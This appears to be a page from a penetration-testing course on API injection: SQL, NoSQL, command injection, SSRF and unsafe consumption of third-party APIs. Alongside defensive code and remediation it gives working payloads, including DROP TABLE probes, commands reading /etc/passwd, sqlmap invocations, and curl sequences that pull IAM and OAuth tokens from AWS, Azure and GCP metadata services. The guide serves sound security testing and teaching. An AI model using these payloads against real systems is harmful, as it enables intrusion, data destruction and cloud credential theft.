12 min read

API Security
Intermediate
API7 API8 API10

Injection Attacks

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. In APIs, this often manifests as SQL Injection, NoSQL Injection, Command Injection, or Server-Side Request Forgery (SSRF).

Authorization boundary

Injection payloads write, delete and call out: run them against data you can recreate, keep blind payloads short (sleep 5, not sleep 600), and never let a metadata request leave the account — an SSRF that reaches IMDS is a credential compromise on a real subscription.

What is API-specific here

The generic technique catalogues live in the web-pentest section — SQL injection at 06a, NoSQL at 06m, SSRF at 06e. This page keeps the API delta: JSON bodies that reach a driver as objects, cloud metadata from a JSON url field, and the OWASP API10 problem of trusting the APIs you consume.

SQL Injection (SQLi)

Test all input vectors including query parameters, JSON body, and headers.

Query parameters

Inject SQL syntax into URL parameters.

Quote and boolean probes
GET /api/users?id=1'
GET /api/users?id=1"
GET /api/users?id=1 OR 1=1
GET /api/users?id=1; DROP TABLE users--

JSON body

Inject into JSON fields. Unlike a form post, a JSON value keeps its type — a number where a string is expected, or a string containing SQL, both reach the driver unchanged.

Login with a comment-terminated string
POST /api/login
Content-Type: application/json

{
  "username": "admin' --",
  "password": "password"
}

Headers

Inject into headers like User-Agent.

Header-borne injection
User-Agent: ' OR 1=1--

Automated testing

Use SQLMap for automated detection and exploitation. Point it at a saved request so it covers the body and headers, not just the URL.

sqlmap against the endpoint
sqlmap -u "https://api.target.com/api/users?id=1" --batch --banner
sqlmap -r request.txt -p username --batch --level 3

NoSQL Injection

NoSQL databases (like MongoDB) are also vulnerable, often through operator injection. The API-specific form is a JSON body: {"username": {"$ne": null}} is an object where the handler expected a string, and the driver happily treats it as a query operator. Full operator coverage, driver quirks and the query-string variants (?username[$ne]=admin, where the framework parses brackets into nested objects) are in 06m — NoSQL Injection.

JSON body operator injection

NoSQL operator injection at login
POST /api/login
Content-Type: application/json

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}

Regex injection

The same shape with $regex turns a login into a prefix oracle — one character at a time, without ever knowing the password:

Raw NoSQL payload
{
  "username": {"$regex": "^admin"},
  "password": {"$ne": null}
}

The type is the vulnerability

Nothing here is a syntax trick: the payload works because an object was accepted where a string was declared. That is why string-escaping does not fix it and type-checking does. Reject non-string values before they reach the driver, and never pass a request body or query object straight into a filter.

Command Injection

If the API executes system commands with user input, it might be vulnerable.

Basic injection

Use command separators like ;, &&, |.

Command injection in a query parameter
GET /api/ping?host=127.0.0.1; id
GET /api/ping?host=127.0.0.1 && cat /etc/passwd
GET /api/ping?host=127.0.0.1 | whoami
GET /api/ping?host=$(hostname)
GET /api/ping?host=`id`

Blind injection

Use time-based payloads if output is not returned.

Time-based confirmation
GET /api/ping?host=127.0.0.1; sleep 10

Where APIs hide a shell

Image and PDF conversion, media transcoding, archive extraction, DNS and ping diagnostics, "export to CSV" helpers, git and package-manager wrappers, and template rendering that shells out. Test each with a harmless separator and sleep before you try to read anything.

Server-Side Request Forgery (SSRF)

SSRF allows an attacker to induce the server to make requests to unintended locations. On an API the primitive is usually a JSON field — a webhook URL, an image or PDF source, a "scan this" target — and the prize is the cloud metadata service. Filter bypasses (decimal, hex and IPv6 encodings, DNS rebinding, redirects, file://) are catalogued in 06e — SSRF; what follows is the API and cloud half.

Internal scanning

Target internal IP addresses or localhost.

SSRF: loopback target
POST /api/webhook
Content-Type: application/json

{
  "url": "http://localhost:80"
}
SSRF: internal range target
POST /api/scan
Content-Type: application/json

{
  "target": "192.168.1.1"
}

Cloud metadata

Target cloud metadata services to steal credentials.

SSRF: cloud metadata target
POST /api/webhook
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/"
}

AWS IMDSv2 needs a PUT with a token TTL header before any read, then the token on every request:

AWS IMDS — v1 and v2
# IMDSv1 (classic — still works if the instance was never moved to v2)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 — Step 1: get a session token
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# IMDSv2 — Step 2: use the token to query metadata
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

What IMDSv2 actually stops

A primitive that can only issue GET with fixed headers cannot complete step 1, so IMDSv2 defeats it. Test whether the SSRF lets you choose the method and set a header — a proxy that forwards your request does, and then IMDSv2 is no obstacle. That is the difference between "the instance is hardened" and "the endpoint is harmless", and only the second one is a finding.

Azure and GCP have their own metadata services, both reachable at the same link-local address with a required header:

Azure and GCP metadata
# Azure Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP Metadata Service
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id

SSRF is the gateway to cloud account takeover

A single SSRF vulnerability in a cloud-hosted API can expose IAM credentials via the metadata service. In the 2019 Capital One breach, SSRF on a WAF instance led to exfiltration of 100M+ records from S3. Always test webhook URLs, image fetchers, PDF generators, and any endpoint that accepts a URL parameter.

Unsafe Consumption of APIs (API10)

Every other category on this list is about data arriving from a user. API10 is about data arriving from another service — a supplier feed, a payment provider, a shipping calculator, an OAuth userinfo endpoint, a URL shortener, an LLM provider, or a webhook sender. Developers extend trust to those responses that they would never extend to a request body: they skip TLS verification, follow redirects, parse whatever comes back, and act on the fields. The attacker does not need to break your authentication — they need to control, or intercept, one of your upstreams.

1. Inventory the outbound calls

List every host your API calls and what it does with the answer: webhooks and callbacks, image/PDF fetchers, currency and address lookups, enrichment and KYC providers, package registries, OAuth userinfo, analytics forwarders, LLM proxies. Each one is an entry point that bypasses your own authentication.

2. No TLS verification on the outbound call

Look in the code and in the configuration for rejectUnauthorized: false, verify=False, curl -k, a permissive NODE_TLS_REJECT_UNAUTHORIZED=0, or a trust-all TrustManager. Point the integration at a host you control with a self-signed certificate: if the call succeeds, the response was never authenticated, and anyone on the path can answer instead of the provider.

3. Following redirects

An outbound client that follows 30x automatically turns a vetted hostname into an open door. A compromised or attacker-registered upstream returns 302 Location: http://169.254.169.254/…, and the client follows it with the headers and credentials it was given. Test by pointing the integration at a stub that redirects; check whether the second hop happens and what it carries.

4. Deserializing the upstream body

Native deserialization of remote data — Java ObjectInputStream, Python pickle or yaml.load, .NET BinaryFormatter, PHP unserialize — hands code execution to whoever answers the call. The realistic case is a webhook or queue consumer that deserializes Content-Type-driven bodies. Test with a benign gadget payload from a stub server and watch for deserialization errors that echo class names.

5. No schema validation

A response is untrusted input even when it comes from a partner. Return malformed, oversized and wrong-typed bodies from a stub and see what reaches your application: a 2 MB string in a display_name, a nested object where a string belongs, an HTML error page parsed as JSON, a negative amount in a payment reconciliation field. Where those values are interpolated into a query, rendered into an admin page or used to make a decision, the upstream has just delivered SQLi, XSS or a logic bypass through the back door.

6. Unsigned inbound webhooks

The same trust boundary in reverse. If a webhook handler acts on the body — marks an invoice paid, provisions an account, ships an order — without verifying an HMAC signature and a timestamp, anyone who can reach the URL can forge the event. Check for a signature header, verify it against the raw body (not the re-serialized object), and reject stale timestamps.

The controls, in code

injection-controls.js
// NoSQL — reject the shape before the driver sees it
if (typeof req.body.username !== 'string' || typeof req.body.password !== 'string') {
  return res.status(400).json({ error: 'invalid_request' });
}

// Command injection — argv, no shell, validated argument
const HOST = /^[a-z0-9.-]{1,253}$/i;
if (!HOST.test(host)) return res.status(400).json({ error: 'invalid_host' });
execFile('ping', ['-c', '1', host], { timeout: 5000 }, cb);

// API10 — verify the callback before acting on it
const expected = crypto.createHmac('sha256', WEBHOOK_SECRET)
  .update(rawBody).digest();
const received = Buffer.from(req.get('X-Signature') ?? '', 'hex');
if (received.length !== expected.length ||
    !crypto.timingSafeEqual(expected, received)) {
  return res.sendStatus(401);
}

Evidence Collection

For an injection or SSRF finding, capture:

The payload and its context: The parameter, the exact payload and where it landed — JSON value, object key, sort parameter, header — because a payload that works in one context rarely survives the next.

Proof of execution, not of reflection: Error text that names the database or interpreter, a timing difference, a true/false pair, or the out-of-band callback from your own listener.

What the process could reach: For SSRF and command injection: the resolved address or binary, the metadata or file path read, and the OS user the service ran as (id, not a guess).

False Positive Identification

  • Reflection is not injection: A payload echoed back in the body, a stack trace, or a generic 500 proves the input reached a handler. Require a side channel, a type change or a true/false response difference before calling it execution.
  • The request the WAF blocked: A 403 or a vendor block page means a filter matched your string, not that the backend ran it. Re-send an encoding variant plus a benign payload of the same shape: if both are blocked, you have measured the WAF.

Testing Checklist

Injection

  • ☐ Inject per context: JSON values, operator keys, sort and limit parameters, headers and XML bodies — not just the documented string fields.
  • ☐ Confirm execution with a boolean pair, a time delay or an out-of-band lookup rather than response text.

SSRF and upstream trust

  • ☐ Point every URL-taking parameter at your listener through each bypass form: decimal and hex IPs, IPv6, redirects, DNS rebinding.
  • ☐ Check webhook handlers for an HMAC signature over the raw body, a timestamp window, and schema validation of the payload.

Remediation & Defense

Each class has one structural fix: keep data out of the interpreter, types out of the query, the shell out of the command, the destination fixed, and the upstream untrusted.

SQL: parameterized queries only

  • • Bind every value and build no query strings. Apply the same rule to the ORM raw fragments — whereRaw, sequelize.query, find_by_sql — where the concatenation comes back.

NoSQL: type-check before the driver

  • • Reject any non-string value in a field the API declared as a string, and reject keys beginning with a dollar sign. Never pass req.body or req.query as a filter.

Commands: argv, no shell

  • • Call the program with an argument array and no shell (execFile, subprocess.run with shell=False, ProcessBuilder), validate the argument against a strict pattern, and run as a non-root user with a timeout.

SSRF: fix the destination

  • • Allowlist scheme, host and port; resolve DNS and reject private, loopback and link-local results — then re-check at connect so a rebinding answer cannot swap the address. Follow no redirects, or validate each hop.

IMDSv2 and an egress path

  • • Require IMDSv2 on every instance (HttpTokens=required, HttpPutResponseHopLimit=1) so a GET-only primitive cannot fetch credentials, and send outbound fetches through an allowlisting proxy with no route to link-local or RFC1918 space.

API10: treat upstreams as untrusted

  • • TLS verification on with no opt-out, redirects disabled, strict schema validation on every response, JSON parsing instead of native deserialization, and HMAC verification on inbound webhooks.

API-specific injection vectors

Don't forget to test injection in non-obvious API inputs: Content-Type headers (XML injection if the API accepts XML), Accept-Language headers (template injection), sorting parameters (?sort=name;DROP TABLE users), and array parameters (?ids[]=1&ids[]=2'--). API gateways sometimes parse these before the backend does.

API Injection Practice

Practice SQL, NoSQL, command injection, SSRF, and third-party response handling on deliberately vulnerable API applications.

vAPI — SQL & NoSQL Injection Custom Lab medium
SQLi via JSON bodyNoSQL operator injectionBlind injection
PortSwigger — SSRF Labs PortSwigger hard
Cloud metadata SSRFBlind SSRFSSRF filter bypassDNS rebinding